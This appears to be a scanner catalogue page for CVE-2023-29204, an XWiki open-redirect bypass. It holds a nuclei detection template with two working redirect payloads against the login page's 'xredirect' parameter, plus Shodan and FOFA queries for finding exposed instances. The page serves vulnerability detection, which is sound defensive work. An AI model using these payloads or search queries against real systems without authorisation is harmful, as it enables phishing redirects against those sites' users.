XWiki - Open Redirect

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

XWiki Commons are technical libraries common to several other top level XWiki projects. It is possible to bypass the existing security measures put in place to avoid open redirect by using a redirect such as `//mydomain.com` (i.e. omitting the `http:`). It was also possible to bypass it when using URL such as `http:/mydomain.com`. The problem has been patched on XWiki 13.10.10, 14.4.4 and 14.8RC1.

Impact

An attacker can redirect users to malicious websites, leading to phishing attacks or malware downloads.

Fix

Implement proper input validation and sanitize user-controlled input to prevent open redirect vulnerabilities.

How to confirm it

Send: GET {{BaseURL}}/bin/login/XWiki/XWikiLogin?xredirect=//www.oast.me ; GET {{BaseURL}}/bin/login/XWiki/XWikiLogin?xredirect=http:/www.oast.me
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)o…/

Run it with nuclei: nuclei -id CVE-2023-29204 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-29204

info:
  name: XWiki - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Commons are technical libraries common to several other top level XWiki projects. It is possible to bypass the existing security measures put in place to avoid open redirect by using a redirect such as `//mydomain.com` (i.e. omitting the `http:`). It was also possible to bypass it when using URL such as `http:/mydomain.com`. The problem has been patched on XWiki 13.10.10, 14.4.4 and 14.8RC1.
  impact: |
    An attacker can redirect users to malicious websites, leading to phishing attacks or malware downloads.
  remediation: |
    Implement proper input validation and sanitize user-controlled input to prevent open redirect vulnerabilities.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-xwph-x6xj-wggv
    - https://jira.xwiki.org/browse/XWIKI-10309
    - https://jira.xwiki.org/browse/XWIKI-19994
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29204
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29204
    cwe-id: CWE-601
    epss-score: 0.01756
    epss-percentile: 0.78135
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,redirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/login/XWiki/XWikiLogin?xredirect=//www.oast.me"
      - "{{BaseURL}}/bin/login/XWiki/XWikiLogin?xredirect=http:/www.oast.me"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.me\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

References

Use this check only on systems you are authorised to test. Where the data comes from